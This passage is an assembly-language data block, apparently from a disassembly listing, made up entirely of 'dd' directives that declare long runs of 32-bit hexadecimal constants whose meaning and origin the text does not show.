		dd 4358BB00h, 908F13FEh, 0E2C0441h, 0C06F934Fh,	7699355Ch
		dd 0C4E1B200h, 0B58899Fh, 2B6D0236h, 8A6340E2h,	0C7CB8E80h
		dd 48B00E6Ah, 91691400h, 6A51F46h, 38E25C23h, 0A056470Bh
		dd 0E98190E0h, 80937E3Bh, 59AD3205h, 73611F96h,	840E09C8h
		dd 9060E5E1h, 75008AAFh, 8B6D5739h, 78F90E6h, 73C11EECh
		dd 0B85C70A2h, 4963456h, 0F6203340h, 3FF890A6h,	2E0058FDh
		dd 0D8FC9FEDh, 64B83569h, 0E075CE74h, 8DC8B802h, 58968E42h
		dd 7EA10074h, 109EBCE4h, 0DD031454h, 62D65AA8h,	0CA200489h
		dd 0A4F22B32h, 0C600EC48h, 0CC13D79Eh, 60A579h,	0A1D4513Bh
		dd 11C3FF90h, 34001C7Dh, 0EDA4293Ah, 6DAD9Ah, 9F9BE4CDh
		dd 32CBDAAAh, 0F422F600h, 10DB71E3h, 80A23FE5h,	251E97h
		dd 6DE44D60h, 6C02931Bh, 0CB29330Fh, 5C5CE090h,	2FCC0007h
		dd 0ADA2ECF7h, 77008234h, 7EF82E10h, 7AE49Fh, 75B5CDD6h
		dd 0C39A8A33h, 0BA035290h, 9D924CD2h, 6726B85Ch, 7550B2FBh
		dd 2884008Dh, 9A073C37h, 0BB0EF388h, 1F6365A4h,	0B3ABF1C0h
		dd 0CD96DECh, 0A7E35E0Ch, 33007611h, 0B059E26Bh, 3DB63DEh
		dd 0DAFB7436h, 4BA9B6C2h, 5060804Eh, 6781EEC8h,	3A100F9h
		dd 0D10A8FDh, 0C32CCAAAh, 74863482h, 58314FB2h,	3A79EEDCh
		dd 380704C8h, 0C08E2B29h, 1B4AECC2h, 0C026102h,	0C08BA8EDh
		dd 0F007F3D6h, 83310CA1h, 11D99CB9h, 7517A97Ah,	9C40A89Dh
		dd 2C42C47h, 4A69C05Dh,	0D909C6ADh, 9AD1A11Fh, 8B1FD041h
		dd 1D706CBh, 0DE5FDC11h, 0C509D3A1h, 9C498004h,	983AFC81h
		dd 0A00A720Bh, 0A3AB8E0Ch
		dd 0D2F10140h, 0B21945B1h, 0BD01EC5Fh, 216AFA1Dh, 0EC2C1339h
		dd 44EF801h, 0DCF05F40h, 67700E7h, 8BE0EF45h, 0C00FDA5h
		dd 243CCEC6h, 709CCh, 94193B50h, 2E56EF32h, 8F895424h
		dd 6D3E9F07h, 7B1FE100h, 0F5E00345h, 7CE40D3h, 3A0CC0C0h
		dd 21D13600h, 0EB898FA8h, 0FEFCFFh, 0F58D4F3Dh,	490139BDh
		dd 0E49CA400h, 6BF89D86h, 82480A7Bh, 9FD48565h,	17FFC0DDh
		dd 2E70B43Ah, 0EB989300h, 75E5D9BDh, 7F9E406h, 73E8956Dh
		dd 0A9C34F10h, 5CF1FFE6h, 0F4E450D3h, 51D68087h, 0C417B1Ch
		dd 0EAFD3842h, 915B2080h, 1CC8EFDDh, 27B0ACABh,	9E0C6302h
		dd 0E0CCFF75h, 99EB0321h, 0FD3277BAh, 50005183h, 83E7768Dh
		dd 0DE7EABh, 0C54828B2h, 701D57EEh, 4B75FE00h, 92A7DCACh
		dd 0B6D100C3h, 0B58A6609h, 6530C01Eh, 5D2A998Ch, 3DC4F4ABh
		dd 74875B34h, 414D0E64h, 0C0CF525Ch, 0B5060D9Ah, 5681D28h
		dd 1D016A9h, 9B4407Bh, 914F746Ah, 0C30098E4h, 0ABD4B46Eh
		dd 3A1E7ACCh, 76AF61h, 0C194BAAAh, 0A15D2C93h, 8D23B519h
		dd 2180A908h, 60C17CE0h, 74002959h, 0FD9CD2A7h,	13F1A05Eh
		dd 86339Ah, 68A3E6F7h, 5A00B564h, 0FD0ACC75h, 0E6C0113Fh
		dd 66CFE05Eh, 215508EFh, 8034883Eh, 0EE67EB1Bh,	1DB987Bh
		dd 84338719h, 0DCABD123h, 5100AAF2h, 97604CFDh,	0EE27AA3h
		dd 0F12E948h, 92EC4898h, 8303667Fh, 4B7E8FFCh, 0E80818F4h
		dd 0BA452049h, 0B4B86600h, 8A7CC6D2h, 0A6990153h, 1D2CFB56h
		dd 126988DFh, 38F036B9h, 0C13F68C8h, 719A669Ch,	0E9340899h
		dd 77844F88h, 3860066h,	0B841375Dh, 0EE0F9AE1h,	0C58D7ACFh
		dd 0A847E867h, 1890437Dh, 0E13547h, 0A248AB21h,	7F7BC517h
		dd 11FD9321h, 3FFC8069h, 8C37C026h, 1897A44h, 0B92C3F33h
		dd 31845193h, 67488C8Dh, 1D2B79A1h, 3C2AE882h, 0B8C75F0Ah
		dd 50467434h, 43F2B91Dh, 70C78430h, 840EAEAh, 7307CC90h
		dd 5D1AD671h, 6D8BF780h, 0CBC20010h, 4F53C4A6h,	787F3ED2h
		dd 23581107h, 7012544h,	10943AF5h, 0ACAA04F4h, 7560019h
		dd 2BEB3DCDh, 89001780h, 73D3FA74h, 0E8A77Dh, 10967EB4h
		dd 2AA407BDh, 0CC744E78h, 0F87FB500h, 0CF388644h, 2C1A3C1Fh
		dd 4787007Fh, 73EA43C1h, 0B10014F9h, 0F410FF22h, 0F5C44A7h
		dd 786C7D8Dh, 4A0038ABh, 45C00F3Ah, 0FB07B039h,	0A40B800Eh
		dd 203CA547h, 7E0C6C6Bh, 5C107FD9h, 918A90Eh, 80A72908h
		dd 8C703A4Ch, 0A678007Dh, 0A05FCF7Fh, 0B9185C22h, 0E3280FDFh
		dd 7A26886Eh, 7B08DB89h, 848FD044h, 22328322h, 9D325EE7h
		dd 8F8B7912h, 943F2814h, 447828B3h, 228437C3h, 5F4267FCh
		dd 0E0BCF08h, 0DA8AF310h, 146B1450h, 210C3C11h,	78C9089Fh
		dd 99847790h, 7DDB440Eh, 79282D4Eh, 18504314h, 7290DEDh
		dd 0E0F1887Ch, 42EF51C8h, 0C32407D4h, 0ABA25440h, 0DB008018h
		dd 0A4500FFBh, 6421965h, 516BB0A3h, 8B0020BCh, 0F9DF08F5h
		dd 0DC267Dh, 0C3F1B393h, 0FB06B088h, 7CB19D26h,	0C16F5F00h
		dd 5015CCh, 74985BF6h, 9CED6C44h, 0E0DBA300h, 4259DA08h
		dd 1A1900E3h, 7F01A68Dh, 0D600520Bh, 942E9E71h,	0EE11F7A3h
		dd 1B100F26h, 0E9272C58h, 0DA604E81h, 0B9D4D19h, 293BD61Ch
		dd 3E802300h, 1DC96F2Eh, 6672BFBDh, 0DAD803B7h,	0B89A5CF4h
		dd 0D69101FDh, 2083BE12h, 0B6ACF1FAh, 0C42FEAF9h, 9E00A10Ah
		dd 290DCD7Fh, 9027B7D7h, 6971E54h, 0AFAA436Dh, 7800F96Ch
		dd 79464911h, 0C9E95Bh,	33E7B45Eh, 376E2520h, 4F26A100h
		dd 7BB6C8AEh, 328A00ACh, 678065D6h, 0CFFC33BDh,	9CA7DD24h
		dd 0CDE3B600h, 76A193h,	0B83D5846h, 0A2DBC091h,	90BA2824h
		dd 6F641C00h, 95A83Bh, 0F00BD6BCh, 5451C537h, 9F606D00h
		dd 0A7D7C98h, 0F50F00C4h, 0D2270C1Eh, 2F00EE94h, 0E93637DBh
		dd 1F716AB3h, 0C007E383h, 175035D7h, 0E072895h,	58C5D3F4h
		dd 81E6E730h, 0A38BE490h, 50B9D0D8h, 33E000C9h,	0DD6370C8h
		dd 0B3035220h, 58512DD9h, 0CA30B702h, 50B17FB4h, 609F33h
		dd 0C720703h, 0B2E5AEFh, 40A3CE04h, 0F88078E5h,	0CDC2F6h
		dd 25D2EA61h, 0C434F3B8h, 2FA06301h, 0C30ABBDCh, 70FF2089h
		dd 0D9804010h, 0E675F900h, 4902F8F0h, 74BF00A0h, 0CA712FBDh
		dd 3800EBA3h, 829C9822h, 31BBB81h, 4362D1D9h, 0D6D8CA7Eh
		dd 0AC005231h, 504D444Bh, 3AE27F41h, 788CD4h, 0EEEE3F1h
		dd 5BB4349Ch, 0AA5338h,	9D523EC2h, 3EA803EDh, 0F7BE97h
		dd 0AF800D37h, 0BC065A2Dh, 866F3901h, 0E03EA5D3h, 3E191EDCh
		dd 0A00DF8Dh, 2DC2B752h, 1A0361CAh, 29E4FBE1h, 0D25EC074h
		dd 32811C37h, 0C77200ECh, 3B90BF52h, 790F34Ch, 87F56D33h
		dd 2EDA1F90h, 50B87F7Bh, 37CCC28h, 43E9E883h, 0F9E03BFCh
		dd 6B006AD7h, 9DB67BC0h, 724B19CEh, 157887h, 88579590h
		dd 49F021BDh, 0AD20700h, 4C68B937h, 0AB240971h,	0AC0036C3h
		dd 8DF114EFh, 0E3E81700h, 782C3991h, 24650088h,	75D1732Ah
		dd 0D500988Ch, 4F834989h, 6BF426h, 74F92533h, 6A637605h
		dd 0BF0072E8h, 0E627040Fh, 713D0Dh, 6EC226B5h, 0BB10C851h
		dd 40D86C00h, 0A5FD686Bh, 0DE2400B4h, 3EA3987Ah, 86012325h
		dd 12100B63h, 0CDF477C5h, 2FC90E37h, 30C0495Ch,	31147B73h
		dd 0C3C18807h, 7C909045h, 0F023FBh, 0DFA90C5Bh,	0C488B4A8h
		dd 0E30046FAh, 0E1F183F4h, 0BC5CA3h, 3EDA48EFh,	0C1FD639Dh
		dd 0FE07B63Ch, 68643Eh,	49E8B81Ch, 0F038A4h, 340BEED9h
		dd 6F0A5F3Ah, 0A09C8828h, 50670102h, 6021BA8Ch,	12F96618h
		dd 0FC4F8C7h, 33B700h, 7DA91178h, 0A37FDD57h, 9B383E1Ch
		dd 9F3B6283h, 0D400E573h, 93407BF3h, 0FEE4E116h, 0A8BF0009h
		dd 63227C76h, 0E174247Eh, 4967877Dh, 0C1B06798h, 95F8BFh
		dd 8F274F58h, 0B65728D9h, 0A3E7E000h, 0B51C7DD0h, 0D8C80077h
		dd 67692BB7h, 0C3EBD70h, 0EA2F0907h, 3A19D655h,	41E90076h
		dd 0D3E833F8h, 3400A670h, 7152040Dh, 7735E74h, 0A43CE1B6h
		dd 0FF602FB5h, 194A3B5Dh, 328E0501h, 540BF9EAh,	0EE1534E8h
		dd 0DE0E3BD3h, 503D5D00h, 45177C71h, 3100C1F8h,	39BD53B1h
		dd 29FD16Ah, 99D84825h,	10606235h, 28B0D226h, 95C23B02h
		dd 0C8C4A269h, 10CCDF38h, 5DC3964h, 0AD8F40C0h,	0A9A85C90h
		dd 0A3560206h, 0F19832C8h, 7FF89B63h, 0AE4C1B41h, 28127C10h
		dd 0AC4182ACh, 5D2FCB79h, 90E9BAFCh, 3CF200E0h,	80D9919Bh
		dd 240099E1h, 888B40A1h, 0A0745BBh, 55C203CEh, 0C4800D8h
		dd 0E1FF1DA4h, 0FEEDD700h, 97AAA2A6h, 3F78BCh, 3D20041Ch
		dd 0FD6E1FB1h, 0A2075700h, 8206AD96h, 76EE31h, 0C517EC34h
		dd 0E1E6F092h, 3EA9E800h, 971A9B69h, 90447C28h,	8CF4804Ch
		dd 9A54024Bh, 0FB1F896Eh, 90D7C4C0h, 0CCFEB800h, 79934695h
		dd 0F64D029Bh, 0A53E70B3h, 41E22460h, 599C3D2Ch, 24BB1E00h
		dd 7DE63329h, 1E9840h, 5109112Fh, 3F59E5CEh, 7D3C3E00h
		dd 4DAFEE97h, 3B71F8h, 0DFC9F70h, 86C95CA5h, 0B363A00h
		dd 0FD712178h, 73DA0B12h, 0C7816CBDh, 0F01760D2h, 3A07F550h
		dd 28DBF3A4h, 3F8D4B30h, 0F95F6A3h, 0C590848Ah,	20CDAFA6h
		dd 1D45BA00h, 0D72DE9CFh, 3E300ECh, 20F8F202h, 0ED0154A5h
		dd 80D57A81h, 3070C0BCh, 0EAF90060h, 0EEA2CDE4h, 0A31FF0E7h
		dd 8D408781h, 318E8A08h, 0D8B0E2h, 247B90F6h, 0ACA102BBh
		dd 0E46EFD00h, 231ED68Bh
		dd 51DD3D2Dh, 86C37380h, 0C90CE5A4h, 9121D00h, 95602526h
		dd 308E03B1h, 24056BB6h, 1F877EBh, 4A0E3ADFh, 0A0BB752Dh
		dd 8DA089B4h, 0F48E0073h, 0FFD8FAD0h, 1100EF80h, 798B47B6h
		dd 622D2Eh, 61169AE9h, 0BBC197D4h, 72A9F00h, 3CA644D1h
		dd 996E39ACh, 74A57B80h, 0BE69412Ch, 0FACE6324h, 0BF86A200h
		dd 0E4CA78h, 0B34EABD2h, 3A1ABD8Fh, 0F6B52C00h,	0B4BF9E41h
		dd 0A5920085h, 90C6D1F7h, 10029CAh, 4DE302F5h, 9BC045h
		dd 0F71BBC08h, 165E9F61h, 4972D100h, 9097E252h,	84E0A004h
		dd 59B092D3h, 0D509C4AAh, 59006AB5h, 82F63A60h,	56BBA41Fh
		dd 6344EF1Dh, 0FEADF68h, 1020F9B5h, 0B740DD8Fh,	55F29670h
		dd 5FEC7809h, 276B002Fh, 1C8E0103h, 405D2E70h, 661AB091h
		dd 7D0343FDh, 0EAC6C38Ah, 0A3EEC079h, 0E028C961h, 0E344CF80h
		dd 2300D06Ch, 1DA2EAD3h, 156FCBBh, 15834C0Ch, 0DC508F44h
		dd 0F05CC6E4h, 80B939DCh, 0E5CD2172h, 0EDC0BAh,	0BB633C85h
		dd 0D81458DBh, 0AFF42A00h, 0BDA8B776h, 0D02D0298h, 0D6336C86h
		dd 0CB2887C0h, 290014F8h, 0B2B3C9D4h, 754183h, 85D7A0Ch
		dd 0D64AC858h, 1B70A100h, 1DDE0BE7h, 0F82A2655h, 606E00F8h
		dd 0FFE54E8h, 9633431Eh, 0FCE23A40h, 39387407h,	0F76CB4h
		dd 0C3EDCFBh, 0E70DCAACh, 4F3A5A01h, 4116EDA2h,	461DF640h
		dd 19DF00ABh, 0A7E8A879h, 77008333h, 1B7F050Fh,	7BE4B2h
		dd 4D22E06h, 60B4F665h,	72632A00h, 6F459D1Eh, 88966036h
		dd 9FF65AB8h, 0D60023EAh, 327EBEDCh, 11E7382h, 94EA91E9h
		dd 875F4AA9h, 90A55D20h, 37BE6830h, 2DA8006Dh, 31442174h
		dd 131FF938h, 0B6C3C7Dh, 430E0D03h, 9F4FD05Fh, 0C1E7005Ch
		dd 580BFF28h, 0A53B739Eh, 48D89E2Ah, 9243057Ch,	4C7EDB3h
		dd 4ED05B97h, 0FF1E358h, 749840D3h, 0F575C00h, 470316B9h
		dd 0CDC7F91h, 62EA0DAh,	0D0620C7Ch, 0DF290EB4h,	3EDECB00h
		dd 0C074B75Dh, 8CEC00B3h, 0D1722991h, 0DA7EBA33h, 29F6607h
		dd 800E515Bh, 0D2B277BCh, 0A3B4003Bh, 5E1832ABh, 6A002952h
		dd 5079FE5h, 381B215h, 82AFA2B8h, 54C857C5h, 0D800F9C8h
		dd 5D2B71DFh, 1F4F67h, 2E3E7FBDh, 29FA9399h, 3B062707h
		dd 0D1561810h, 344F0016h, 1ADAF077h, 121329BDh,	541FB842h
		dd 5C8C3AC0h, 4B2CE1DCh, 2451B887h, 7F0B893Ch, 0ECA680A5h
		dd 180B3D3Bh, 0BA60030Eh, 0AA28F973h, 78729C88h, 3508FA00h
		dd 0D510ECBh, 1FCC1DF0h, 6D4CF8Bh, 723BA014h, 0C2A87503h
		dd 0F7F019D1h, 4E14B51Bh, 0FDB918h, 33752ECFh, 7F6D3D05h
		dd 0AF4400BAh, 3AC4F3E1h, 0A8F74AA8h, 3B000C48h, 7719E20Bh
		dd 809183h, 0C6C0C28Ch,	6B6E86D8h, 0C100F872h, 55F740B3h
		dd 1303ECDh, 0B7717B9Fh, 0D07F8B43h, 23009E08h,	8C749CFEh
		dd 49D47h, 0ACEB0DB6h, 0BED2227Dh, 0C6CD100h, 47081D36h
		dd 32F30057h, 0E22610F7h, 0A0006560h, 0E3FEEA7Ch, 7B409A19h
		dd 7A6E00DBh, 0DC571D4Fh, 1C00CE09h, 62B395C8h,	713615Fh
		dd 0D2835E5Ch, 11A32271h, 0DA42EFC0h, 8AC5FF00h, 4C060933h
		dd 0B58800DCh, 9111BDD3h, 83038BC3h, 4F1F60E5h,	0ACB1A5E9h
		dd 22CB460h, 55183CFDh,	0B440B9E0h, 0F61D17D9h,	3F9FEEF4h
		dd 872A69C1h, 3DE48E14h, 1C8AFEEBh, 80944F46h, 0F01C113h
		dd 0A600B64Ah, 72A8C682h, 7E147AA3h, 73B1006Dh,	2F707644h
		dd 7C9263D2h, 96D463B0h, 214007Ch, 1A3609B6h, 10F8901Fh
		dd 24063EFAh, 0F940BCCEh, 0F9A02ADh, 9EBFDD29h,	45E40D41h
		dd 5CA8C4B3h, 4158B612h, 376BFC00h, 0DA70A4h, 30E8A9D9h
		dd 0B5272B65h, 1F4EF909h, 0F5C00F7h, 7920F6F3h,	91E99817h
		dd 7F00888h, 0F4905E00h, 3C1954h, 379BFF30h, 0E6793528h
		dd 11194B70h, 6A488D51h, 10930h, 407CFC31h, 0D63E30F3h
		dd 46480E6Ah, 56F6701h,	0C670FB1Eh, 0D031D9Ah, 85134041h
		dd 0F18E6B69h, 145DF501h, 0B7C8D6FAh, 0FC945CE0h, 0B15F0029h
		dd 0D057E0B6h, 0DE0BB462h, 0B99F40h, 391F9547h,	46AE0028h
		dd 3A2EE783h, 860034B8h, 0B7C96D72h, 9B8F1Bh, 575DC2FCh
		dd 0C4AE62D7h, 0E2CC5000h, 42DD1473h, 6CCD0028h, 5E3F65AFh
		dd 2A0072A4h, 3D44AC75h, 1E898B27h, 80D01EA6h, 9AABE484h
		dd 2A601CDFh, 0CD78B560h, 641F4CEDh, 40F3A01Fh,	1D55E67Ah
		dd 971436BCh, 1498E5A5h, 80BC859Ch, 6AC7166Dh, 1322391Ch
		dd 84A70203h, 1200B5F5h, 146D3A3Ch, 5C10260Ah, 8900D25Ah
		dd 0B758DCF0h, 9478C388h, 9C1C2D00h, 0C14AE7CDh, 0C7F750Eh
		dd 5470C88Fh, 4D262F69h, 3CEC07h, 60282AD1h, 177ECD0h
		dd 6B7C8397h, 0E49121EFh, 29001623h, 30D3AA1Fh,	736DA7EBh
		dd 0FFC0A0D9h, 80BB2CAEh, 4C01029Bh, 0A5609DF6h, 7124CF6Ch
		dd 3F00A1BAh, 5D667021h, 737F0318h, 0B8556FDEh,	4CD624C8h
		dd 58942000h, 468F329Bh, 0C63B3FE1h, 178642Ch, 0F41AA336h
		dd 1897FC0Ch, 0FF0A8400h, 8EAA3596h, 0B1FA1Eh, 0F90C2BF2h
		dd 0B7A5E83Eh, 0BA907D73h, 9D036000h, 395DFD27h, 0E0A30086h
		dd 2BA02283h, 0B11D8A49h, 3180ECC7h, 0FBEA7EDAh, 9CF500C0h
		dd 941B77E1h, 0EC00AF86h, 0A0B5C214h, 0EC73F3B1h, 528D0054h
		dd 39C60C77h, 0C1008361h, 0F23DBEE6h, 0D34D37h,	9DF1F30Dh
		dd 72A3A9D0h, 5B1FD200h, 26D689Eh, 0BF7A60h, 5464F1CFh
		dd 0A4EAE938h, 2AC67E0Eh, 906AE00Ah, 1A30E08h, 92FEA6EEh
		dd 0E4565F5Ch, 0C2009CA2h, 0AEA59153h, 18C94003h, 0A0F0257Eh
		dd 0FA001009h, 167048EAh, 6D8CEFh, 0DD4D5C5h, 9F7FE383h
		dd 0D6E44200h, 0BA652F7h, 62913992h, 95C3DE00h,	6843C1DDh
		dd 0F157D81Fh, 0F9C56FCCh, 0E417060Fh, 51E04CAEh, 0EB692500h
		dd 0E6F93D29h, 83F10607h, 0E02860C6h, 0E15AB700h, 0CA717698h
		dd 504D00FBh, 0F4AF365Dh, 852CAE2Ah, 0CB00743Eh, 65F381A9h
		dd 96140020h, 0EB285BFDh, 3701C869h, 19553160h,	689E2C5Eh
		dd 0CCA68196h, 85953F77h, 0FEBF298h, 0EEE9FC00h, 0D626A3E2h
		dd 73F80F80h, 0A1F1DDE7h, 0FF0ADABFh, 38388597h, 9F00DF8Ch
		dd 0D7465910h, 0ED723Ch, 51A29FFh, 0AC328AF5h, 20BF3Ch
		dd 0A09AF9FCh, 2E8379h,	606B53A9h, 3ACC9A3h, 3C146900h
		dd 0A3D2706h, 99FB0002h, 118381ADh, 0A80E43F3h,	0E04CB887h
		dd 2F4A5668h, 7EE203D7h, 22A0643Dh, 0CD5EC4B8h,	800069B8h
		dd 14C1EB67h, 1E8353F1h, 0C0495B1Dh, 2DAF41FAh,	9A07A23Dh
		dd 2AB82587h, 52510AF0h, 71F5B881h, 0EFC40060h,	0E7AE3F7Ch
		dd 8F0067E0h, 2C1FFD7Dh, 1147F2Eh, 0D7A22287h, 0D0897BA8h
		dd 0C74AC666h, 993B55F8h, 5FE27F80h, 41227EC0h,	9FF25C00h
		dd 6847B61Bh, 0D69131B4h, 0E8AB64F0h, 0E5074E46h, 61C793CCh
		dd 0EB3FE920h, 89860049h, 73087A2Ah, 260082A3h,	0C574B644h
		dd 4763B0h, 0E68352F8h,	85F39E4Eh, 0C31D3200h, 0B8DC060h
		dd 822207AFh, 0E09771B1h, 0A6F1C877h, 0EC705D7Fh, 0F33FBD00h
		dd 9A8F895h, 80A10073h,	0F1DB6BD9h, 1A00A66Ah, 46A59A10h
		dd 2841DD8h, 0BF900D20h, 0C400832h, 0C4006202h,	211EC286h
		dd 0D7A6CEh, 0F3ABCAE6h, 173AD2B7h, 76CC8B3Eh, 0E7447D48h
		dd 9491B7C4h, 0F610B40Eh, 0EE00E218h, 27C97158h, 1204FDF2h
		dd 29E10Ah, 0DAB8A74Ch,	0E617C3D8h, 1F00E2A2h, 4EACA695h
		dd 34801C70h, 0DD740D1h, 799097AAh, 9085B424h, 78561280h
		dd 246D31Eh, 911DA805h
		dd 84449E39h, 0C607EE78h, 0F73F1364h, 0CF702039h, 1F706A56h
		dd 61857A8h, 0C9827C73h, 64C24202h, 48F0147Eh, 40A469Ch
		dd 8CF65754h, 6DC4882Ah, 0EEB94C00h, 0C9CD3449h, 5DD01F3h
		dd 0DE9DFBAFh, 0EF1080CFh, 0CC4380A9h, 1D720021h, 4DC4F940h
		dd 0B6069DA1h, 6210CFF4h, 997D0079h, 6A1D2107h,	0FC0071B8h
		dd 45BEC396h, 33E55C6h,	5A077C37h, 5FC81ACAh, 0EB304E4Fh
		dd 58F9D0B7h, 3B20E8EFh, 0FD8F8073h, 5B80777Bh,	0C3956A14h
		dd 0FCA05C12h, 20E2DB0Eh, 76B5F9D5h, 0FBBF006Fh, 84882591h
		dd 9C0E5D17h, 0AE619DD8h, 0CC9BFC9h, 0FBA4A110h, 0A050C46Dh
		dd 951902h, 9B5F0962h, 0FABD9A57h, 0C1C5A107h, 0AA500704h
		dd 0EBB7CFh, 56E4F2C7h,	2E81D90Bh, 0F32DFB00h, 0CA832012h
		dd 8A7A39h, 7045B477h, 8767DBE5h, 0D8B6A400h, 25F046D5h
		dd 30F20022h, 0B5BA5B63h, 4D00C660h, 9172592Fh,	4CA19FF8h
		dd 513F3C77h, 0B7140D80h, 6024C87Ch, 48C07307h,	2660E867h
		dd 0F4749769h, 0B5F30063h, 4F412A3Bh, 4B003CEAh, 3F2C3839h
		dd 393DEC55h, 0E4BE5E56h, 3AD55B8Eh, 7F7E7700h,	9C07102h
		dd 7866D20h, 817C00F9h,	1BDCAA9Dh, 0FB002CFAh, 0EF09E552h
		dd 0B8C291h, 0B7BFDEE1h, 3BD52FD1h, 6E78A0A8h, 71DB3E00h
		dd 0E88867Ah, 47C00A33h, 87FC6C43h, 40B4E8F4h, 39E03ACFh
		dd 8055FB3Ch, 0DC0DA15Bh, 7321CE8Ah, 0C95401F6h, 6E69482Fh
		dd 9BA052E9h, 7BCFF040h, 7016FE03h, 805201E3h, 0F73764h
		dd 0BDBA113Bh, 15D23486h, 394D6000h, 0E5D7AA25h, 23A23BACh
		dd 0B9DCDD00h, 3D5C61CDh, 1BE44A00h, 988BDBB1h,	266603B3h
		dd 0CAE965AEh, 23A8009Dh, 2389E81h, 0D2B0631Ch,	0E1D6C4C0h
		dd 0BF6147h, 0D4BC6CD7h, 7B93B4DFh, 0F8817A00h,	8F60C8Ch
		dd 0FCA7077Ch, 15F489FFh, 0ADD409CAh, 9A85808h,	0BC807FDAh
		dd 1F02D345h, 17921B15h, 715A00A4h, 34C76AEEh, 0F6680F41h
		dd 2BE07FA1h, 0EABD4D73h, 0E4889C00h, 20A3FB2Fh, 14D1F6C7h
		dd 8755C22Dh, 85B1441Dh, 805F42EEh, 97248AC5h, 11293500h
		dd 3B74096Ah, 4AF8002Bh, 7394F5A5h, 0FC032807h,	72673AACh
		dd 343D8F3h, 0BB1016Dh,	5AEAB2BEh, 0EC86F538h, 9D017914h
		dd 0AF8A08B5h, 4DC0E69Ch, 795B98D8h, 0E01F004Ch, 5F961556h
		dd 0C9F2EE1Dh, 670009EEh, 0F220A60Ah, 25A141Fh,	9B3F1CBDh
		dd 24C45F95h, 0DD3EFA0Eh, 458D008Bh, 0DC315Bh, 0AC199EAAh
		dd 0A76638F0h, 4EA4D400h, 0A9016B67h, 6C7C0027h, 0AA163ECBh
		dd 0D901B342h, 0CAE4E912h, 61E4CEC4h, 48037CFAh, 4938F8F8h
		dd 318AE0BDh, 3B87D9D8h, 3B44BA00h, 0DB7D0DFh, 46204A60h
		dd 7830F33h, 8F218B7Fh,	84231381h, 872A021Fh, 795C7Dh
		dd 0DBCDEB1Bh, 0F3315Fh, 5361F49Ch, 5EC696ECh, 1E003AB8h
		dd 7FB091F7h, 0FCAC95h,	9CF10894h, 5E731411h, 4600BBF0h
		dd 0B7EDDC35h, 0E64C0Fh, 0C362AEB9h, 43D44225h,	0B1456A0Eh
		dd 8566A365h, 7BF188F5h, 0D172008Fh, 0A5948C37h, 983A02DFh
		dd 133E840Fh, 4CC020A1h, 5B2C2A95h, 39A6AC46h, 0F51CF7F7h
		dd 0D0118F8h, 0B381B047h, 402C60h, 0DBBF4964h, 0D044DDE5h
		dd 0BF1C0538h, 0E0282469h, 89A2B98Eh, 0CA5420F4h, 26F77h
		dd 40392D23h, 2C606537h, 75E8277Ah, 5522BE00h, 0DCE7B1C5h
		dd 59320039h, 16343353h, 0F3003554h, 0C587FB83h, 88A4B3h
		dd 736677DCh, 99E330FDh, 0DE98B06Fh, 520099ACh,	6B15206Eh
		dd 724C1E56h, 402F1DD4h, 0AB0A14F5h, 9C73990Ch,	9674ED0Fh
		dd 9E8C801Ah, 71D817h, 5AEB22CBh, 0F797A6F9h, 0F05FEE2h
		dd 36CA7CADh, 7CF47488h, 1D8A1DAEh, 0DEF25CB5h,	9266818Ch
		dd 602F19DEh, 0F7125068h, 0CC122D3Eh, 39760902h, 60E48F15h
		dd 8506F0F2h, 902003ADh, 0ABEEB1BAh, 5D0F4800h,	88E644B2h
		dd 0C36009Ch, 0D81AA85Fh, 4B079B89h, 40B658D1h,	865C2E40h
		dd 71130022h, 5E6C4A50h, 1A002183h, 6E48586Ah, 4D890869h
		dd 4600CCCFh, 45DDCDA9h, 0E9003014h, 0C0E10340h, 1DB2B897h
		dd 80076A50h, 0BA64627Fh, 0D7000EFEh, 3FBF7AA3h, 122600Dh
		dd 7028D9BCh, 0D0845B8Bh, 0B230331Eh, 0F83AB8B0h, 68507DAh
		dd 87278D4Ah, 286651BFh, 9D8850A9h, 0FF00CA22h,	369EF2D5h
		dd 28FDBCE0h, 0EECC866h, 16A5EBB6h, 81F52460h, 3A00F305h
		dd 688B326Ah, 1C262BEh,	23CF6C0Fh, 0E46ED2F2h, 9F2C9D2Ah
		dd 3F00745Fh, 0CCA8287Dh, 35310955h, 1E00BCB9h,	9FD7F6F9h
		dd 4A5F520Fh, 0FB860213h, 63C2C012h, 73DC0026h,	61C9FD3Bh
		dd 0D00AF80h, 1E8C9E11h, 0F80FA6h, 0CD3D93EEh, 4A48B1C3h
		dd 803148h, 9CD23F65h, 39AB3652h, 22800EE2h, 21B9FAE1h
		dd 1400CD6Ch, 0D75D6097h, 535C608h, 749C51E8h, 47CCC3F6h
		dd 4A236498h, 2B5B6107h, 25536342h, 2C5CD830h, 16B7947h
		dd 18DEDD23h, 0FC170C06h, 2405DBEAh, 48FCF31Eh,	3B236C90h
		dd 1FD2B058h, 0C635AAh,	0C2720480h, 0E43BB3D8h,	7C7087B7h
		dd 2530EEFBh, 0FACF4527h, 91B500B4h, 54B0C360h,	595C5C13h
		dd 9FA40094h, 5D1B7672h, 83CD006Dh, 0FB36C4D7h,	4006706h
		dd 0EA6E9816h, 775C1F12h, 0C370019h, 0ED1A924Bh, 130060FFh
		dd 1795F78Ch, 0F6D972h,	0B20EB29h, 64423090h, 686ED837h
		dd 0E89DAB40h, 0B6A7092Bh, 1B80DBDAh, 0E539E782h, 0C62E6C98h
		dd 0EF001A9Ah, 0A186E2BAh, 0A0F15094h, 60800A7h, 0FE78AA0Dh
		dd 25CA215h, 69039BCh, 0AA70EFBh, 5BD7F20h, 376B61B8h
		dd 3D66C0C9h, 561652BFh, 0EF0090E8h, 3F395CC3h,	2AEC60h
		dd 26E0A8C6h, 0D41CA72h, 4B50254Ch, 3869D401h, 6830DA05h
		dd 3EBF003Bh, 5611E8D0h, 99008319h, 0E38D86B8h,	172D890Fh
		dd 7DD4EFBh, 0C0B72654h, 0C97BE7B3h, 3C0079F8h,	0F82A7009h
		dd 0EE39FC3h, 159389E0h, 0DB8ED881h, 5045E431h,	27715Ch
		dd 1BC369BFh, 0EC41285Eh, 2F223961h, 0D1CEC0CAh, 0F300AA5Ch
		dd 0BAF5A0E7h, 54147993h, 3B8B943Fh, 87249A1Dh,	77E1001Fh
		dd 5DEB981Fh, 0DAA72806h, 20277Ch, 2AAC4B8Ah, 47516340h
		dd 0B27E3673h, 73483F48h, 50574C01h, 65BC74B5h,	0AC849440h
		dd 0FEE426CBh, 3ABF80F8h, 51B93BC4h, 0EC1C4Dh, 1058E65h
		dd 74AB93h, 7EA5CEE4h, 136A7BFBh, 72005776h, 0BF043468h
